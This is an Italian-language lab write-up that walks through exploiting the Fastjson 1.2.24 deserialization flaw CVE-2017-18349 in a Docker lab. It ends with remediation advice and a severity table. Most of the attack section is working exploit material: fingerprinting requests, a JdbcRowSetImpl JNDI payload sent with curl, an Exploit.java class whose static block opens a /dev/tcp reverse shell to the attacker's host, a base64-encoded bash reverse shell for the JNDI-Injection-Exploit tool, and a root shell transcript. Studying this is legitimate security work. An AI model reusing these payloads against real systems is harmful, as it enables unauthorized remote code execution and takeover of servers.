
Guida passo-passo allo sfruttamento della RCE da deserializzazione di Fastjson CVE-2017-18349, che copre l'identificazione della superficie d'attacco, il fingerprinting, l'iniezione JNDI e l'acquisizione di una reverse shell in un ambiente di laboratorio Docker.
Iniziamo vedendo cosa è in esecuzione nell'ambiente. Elenco tutti i contenitori attivi:
docker ps

La vittima espone solo una singola porta: 8090
Al momento, non ho ancora completamente chiaro l'obiettivo. Dai risultati di docker ps, il sistema pubblica solo un servizio notevole esternamente sulla porta 8090, mappato sul servizio interno del contenitore. Questa è la principale superficie di attacco da analizzare.
⇒ Lo interrogo direttamente con Curl per ottenere maggiori informazioni
curl -i 192.168.3.137:8090/

Analisi della risposta:
Content-Type: application/json;charset=UTF-8.{"age": 25, "name": "Bob"}.⇒ Riflessione: Quando si accede alla porta 8090, il server restituisce dati JSON. Ciò indica che l'endpoint non serve solo una pagina web statica, ma ha un backend che elabora le richieste e serializza i dati in JSON da restituire al client. Dai risultati di docker ps, il comando in esecuzione all'interno del contenitore mostra segni di essere un'applicazione Java, quindi la prossima direzione di ispezione è quella di identificare i parser JSON comuni in Java.
In Java, librerie JSON popolari come Jackson, Gson e Fastjson si comportano tutte in modo diverso quando incontrano input insoliti. Pertanto, possiamo utilizzare la tecnica di Fingerprinting basata sugli errori. L'errore restituito a volte rivela direttamente la libreria o il meccanismo di elaborazione interno. Tra queste, Fastjson è un obiettivo che necessita di una verifica tempestiva perché le versioni precedenti presentavano molteplici vulnerabilità critiche relative alla deserializzazione AutoType.
Qui, non affermo immediatamente che il backend utilizzi Fastjson. Scelgo solo Fastjson come prima direzione di controllo perché ha un'impronta digitale chiara attraverso la chiave @type, e se si tratta effettivamente di una vecchia versione di Fastjson, la capacità di sfruttamento può andare molto oltre un errore di parsing standard, portando potenzialmente a RCE.
Fastjson ha una caratteristica molto utile per il fingerprinting: riconosce la chiave speciale @type. Se il backend utilizza Fastjson e il corpo della richiesta inviato nel flusso di deserializzazione supporta AutoType, il parser potrebbe tentare di interpretare il valore di @type come un nome di classe Java.
Pertanto, invio un payload contenente @type che punta a una classe inesistente. L'obiettivo di questo passaggio non è sfruttare immediatamente, ma osservare se il backend reagisce a @type.
curl -i -X POST -H "Content-Type: application/json" \
-d '{"@type":"com.non.existent.Class"}' \
http://192.168.3.137:8090/

Se il backend avesse utilizzato un parser JSON standard e non si fosse preoccupato di @type, questo campo potrebbe essere semplicemente ignorato o trattato come una chiave normale nel JSON. Tuttavia, qui il backend reagisce con un comportamento relativo al tipo (type not match), il che significa che la richiesta è entrata nel flusso di elaborazione del mapping classe/tipo.
Il messaggio "type not match" è una firma caratteristica spesso riscontrata quando Fastjson elabora @type ma la classe specificata non corrisponde al tipo di dati previsto dall'endpoint, oppure la classe non esiste/non è consentita per la deserializzazione.
⇒ Riflessione: Il backend analizza realmente il corpo JSON della richiesta POST, il campo @type non viene ignorato, il parser ha un meccanismo di elaborazione dei metadati di tipo e l'errore restituito corrisponde al comportamento di Alibaba Fastjson. Pertanto, possiamo concludere con alta probabilità che il backend stia utilizzando Alibaba Fastjson.**
Dopo il passo di fingerprinting, non posso concludere immediatamente che il sistema sia sfruttabile. Il fatto che il backend utilizzi Fastjson dimostra solo che la richiesta JSON entra nel flusso di elaborazione di @type.
Per eseguire un exploit RCE, è necessario verificare quanto segue:
⇒ Riflessione: L'errore type not match mostra che il backend reagisce a @type, ma il payload corrente utilizza solo una classe fittizia per innescare un errore. Per uno sfruttamento effettivo, dobbiamo sostituire quella classe fittizia con una classe reale presente in Java/JDK che sia in grado di creare comportamenti verso l'esterno, come una ricerca JNDI.
Per determinare la versione, controllo direttamente all'interno del contenitore/applicazione.

Dopo aver identificato che l'applicazione è impacchettata come file /usr/src/fastjsondemo.jar, procedo con un'analisi approfondita della struttura del pacchetto per cercare la libreria di elaborazione JSON. Controllando la struttura della directory BOOT-INF/lib/ emerge il file fastjson-1.2.24.jar (Figura X).
L'uso esatto della versione 1.2.24 — la prima e più famosa versione affetta dalla vulnerabilità di deserializzazione senza alcun meccanismo di difesa autoType — ci permette di confermare che il sistema è vulnerabile a CVE-2017-18349.
Trovare fastjson-1.2.24.jar conferma che l'applicazione utilizza una versione molto vecchia di Fastjson, appartenente al gruppo affetto dal difetto di deserializzazione AutoType. In questa versione, il meccanismo di controllo su AutoType non era stato rafforzato come nelle versioni successive, quindi per quanto riguarda le condizioni della libreria, il sistema è suscettibile allo sfruttamento tramite classi gadget come JdbcRowSetImpl.
Tuttavia, la reale sfruttabilità dipende ancora da come l'endpoint invoca Fastjson. Se l'applicazione analizza JSON in una classe fissa, impostare il payload @type nell'oggetto radice potrebbe portare all'errore "type not match". Pertanto, dopo aver identificato la versione, dobbiamo continuare ad analizzare la JVM, la classe gadget e il comportamento di callback LDAP per confermare se la catena di sfruttamento raggiunge effettivamente la ricerca JNDI.
1. Analisi delle Barriere JVM
Oltre alla versione di Fastjson, anche la versione Java è un fattore determinante. Controllo la JVM all'interno del contenitore:
java -version

Questa è un'informazione critica perché le catene di sfruttamento di Fastjson solitamente si basano sull'Iniezione JNDI. Le versioni più recenti di Java hanno bloccato il caricamento di classi da codebase esterne tramite LDAP/RMI per impostazione predefinita. Tuttavia, Java 8u102 è una versione precedente che non ha ancora questi meccanismi di blocco.
Pertanto, se l'attaccante può innescare una ricerca JNDI, la JVM della vittima ha la capacità di scaricare la classe da un server HTTP esterno e caricarla nel runtime.
Dopo aver identificato il vecchio Fastjson e la JVM, il passo successivo è trovare una classe presente nel JDK che possa produrre un comportamento pericoloso quando deserializzata.
com.sun.rowset.JdbcRowSetImpl è un gadget adatto perché questa classe esiste nel JDK e ha una proprietà dataSourceName. Quando a dataSourceName viene assegnato un valore in formato URL LDAP, l'oggetto può essere sfruttato per innescare una ricerca JNDI verso l'esterno.
⇒ Riflessione: Non ho bisogno di caricare codice direttamente sul server. Invece, sfrutto una classe esistente all'interno della JVM per forzare la vittima a connettersi a un server LDAP controllato dall'attaccante.
Dopo aver stabilito le condizioni necessarie riguardanti la libreria e la JVM, devo verificare se il payload costringe effettivamente la vittima a connettersi verso l'esterno. Questo è un passo critico per distinguere tra:
Se il server LDAP o il listener riceve una connessione dalla vittima, ciò prova che il payload ha raggiunto con successo il passo di ricerca JNDI. Se non c'è callback e il server restituisce type not match, indica che il payload corrente non corrisponde al flusso di deserializzazione dell'endpoint. In questo caso, il payload deve essere adattato all'esatta struttura dell'oggetto analizzato dall'endpoint, oppure si dovrebbero utilizzare bypass/gadget alternativi.
Dai passaggi precedenti, la catena delle condizioni del sistema può essere riassunta come segue:
@type indica che il backend elabora il meccanismo dei metadati di tipo, corrispondendo al comportamento di Fastjson.fastjson-1.2.24.jar.com.sun.rowset.JdbcRowSetImpl esiste nel JDK e può essere sfruttato per innescare una ricerca JNDI tramite la proprietà dataSourceName.⇒ Idea per lo Sfruttamento:
Non ho bisogno di trovare funzioni di upload di file o di scrivere file direttamente sul server. Invece, sfrutto il flusso di deserializzazione di Fastjson per forzare la JVM a istanziare un oggetto JdbcRowSetImpl. Quando questo oggetto riceve un dataSourceName sotto forma di URL LDAP, la vittima effettuerà una ricerca JNDI verso il server controllato dall'attaccante. Da lì, l'attaccante può reindirizzare la JVM per scaricare la classe dannosa da un server HTTP esterno ed eseguire il codice all'interno di quella classe.
Pertanto, il percorso di sfruttamento selezionato è:
Fastjson AutoType
→ JdbcRowSetImpl gadget
→ JNDI LDAP lookup
→ HTTP codebase contenente Exploit.class
→ Reverse shell verso l'attaccante
text
Connection received on 192.168.3.137 43928
whoami
root
In Fastjson 1.2.24, la classe com.sun.rowset.JdbcRowSetImpl è una classe gadget presente nel classpath della JVM (appartenente alla libreria standard rt.jar). Quando Fastjson deserializza una stringa JSON contenente @type che punta a questa classe:
JdbcRowSetImpl.setDataSourceName() viene chiamato → impostando l'indirizzo JNDI.setDataSourceName() innesca il InitialContext.lookup(dataSourceName) interno → l'intera iniezione JNDI avviene qui, prima che setAutoCommit() abbia la possibilità di essere eseguito.Exploit.class dal codebase HTTP, lo carica in memoria → eseguendo il blocco static {}.Exploit.java)import java.io.IOException;
public class Exploit {
static {
try {
String[] cmd = {
"/bin/bash",
"-c",
"exec 5<>/dev/tcp/192.168.3.114/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"
};
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
Poiché la JVM della vittima esegue Java 8u102, dobbiamo specificare il target come Java 8 durante la compilazione. Altrimenti, la vittima genererà un UnsupportedClassVersionError e la catena di attacco fallirà silenziosamente. Successivamente, configurare il server HTTP Codebase:
javac -source 1.8 -target 1.8 Exploit.java
python3 -m http.server 8000
JNDI-Injection-ExploitPoiché l'ambiente Kali esegue Java 25 — troppo nuovo per compilare marshalsec — utilizziamo lo strumento alternativo JNDI-Injection-Exploit. Per prima cosa, creare il payload della reverse shell in formato base64:
echo -n "bash -i >& /dev/tcp/192.168.3.114/4444 0>&1" | base64
Avviare il server JNDI con il payload sopra:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTE0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" \
-A 192.168.3.114

Lo strumento genera automaticamente l'endpoint LDAP:
ldap://192.168.3.114:1389/6bzjwg
Aprire la porta di ascolto per la reverse shell:
nc -lvnp 4444
Vediamo che posizionare il payload @type nell'oggetto radice restituisce un errore type not match — perché il Controller Spring Boot sta mappando il JSON in un tipo fisso, che non corrisponde a JdbcRowSetImpl a livello radice.
Regolazione del payload: Avvolgere la classe gadget all'interno di un campo annidato ("data":{...}) in modo che Fastjson elabori l'oggetto annidato indipendentemente dal vincolo di tipo del Controller:
curl -i -X POST -H "Content-Type: application/json" \
-d '{"data":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.3.114:1389/6bzjwg","autoCommit":true}}' \
http://192.168.3.137:8090/

Sul server LDAP (marshalsec): Registrata una richiesta di query JNDI riuscita dall'IP della vittima e reindirizzata al codebase HTTP.
Sul server HTTP (Python): Registrata la richiesta di download del file Exploit.class con codice di stato 200 OK dall'IP della vittima, dimostrando che la JVM ha caricato con successo il bytecode.
Sul listener Netcat: Stabilita con successo la sessione interattiva (reverse shell):
listening on [any] 4444 ...
connect to (192.168.3.114) from (UNKNOWN) [192.168.3.137] 49439
root@7308074af0ab:/# whoami
root
L'intera catena di sfruttamento è stata verificata con successo: dall'invio del payload JSON → ricerca JNDI → referral LDAP → caricamento della classe remota → esecuzione del codice nel blocco static {} → stabilimento di una reverse shell con privilegi root.
La vulnerabilità RCE di deserializzazione di Fastjson (CVE-2017-18349) su questo sistema è valutata al livello di gravità più alto:
Per risolvere completamente questa vulnerabilità, le azioni dovrebbero essere implementate nel seguente ordine di priorità:
1.2.83). Dalla versione 1.2.25 in poi, la funzionalità autoType è stata disabilitata per impostazione predefinita ed è stato aggiunto un meccanismo di blacklist rigoroso — rimuovendo direttamente il vettore di attacco di CVE-2017-18349. Oppure considerare la transizione a una libreria alternativa meglio mantenuta come Jackson o Gson.com.sun.jndi.ldap.object.trustURLCodebase è impostata su false per impostazione predefinita — bloccando completamente la capacità della JVM di caricare automaticamente classi da remoto tramite LDAP/RMI, interrompendo la catena di iniezione JNDI anche se Fastjson contiene ancora la vulnerabilità.root. Creare un utente dedicato (ad esempio, app_user) con privilegi minimi — anche se l'attaccante ottiene RCE, il danno sarà limitato all'ambito dei privilegi di quell'utente.SafeMode nel codice sorgente per disattivare completamente autoType:ParserConfig.getGlobalInstance().setSafeMode(true);
Oppure stabilire una whitelist rigorosa che consenta la deserializzazione solo di classi approvate.
@type, JdbcRowSetImpl, dataSourceName, ldap://, rmi://.-network e iptables.| Criterio | Valutazione | Dettagli |
|---|
| Punteggio CVSS | 9.8 (Critico) | Livello di rischio estremamente alto — inferiore solo al 10.0 assoluto perché non richiede accesso di rete speciale. |
| Autenticazione | Non Richiesta | L'attaccante non ha bisogno di alcun account o credenziali per sfruttarla. Chiunque sia in grado di inviare una richiesta HTTP può attaccare. |
| Complessità | Molto Bassa | Richiede solo l'invio di una singola richiesta HTTP POST contenente un payload JSON valido — nessuno strumento complesso o condizioni speciali necessarie. |
| Protezione JVM | Nessuna | Java 8u102 non ha un meccanismo per bloccare il caricamento di classi remote (trustURLCodebase predefinito a true), consentendo all'intera catena di iniezione JNDI → caricamento classi remote di funzionare senza ostacoli. |
| Privilegi Acquisiti | root | Controllo completo sul contenitore dell'applicazione al massimo livello di privilegio — lettura/scrittura/cancellazione di qualsiasi file, incluso /etc/shadow. |
| Movimento Laterale | Alto | Dal contenitore compromesso, l'attaccante può scansionare la rete interna (172.19.0.0/16) e attaccare altri contenitori nella stessa rete Docker project1_default. |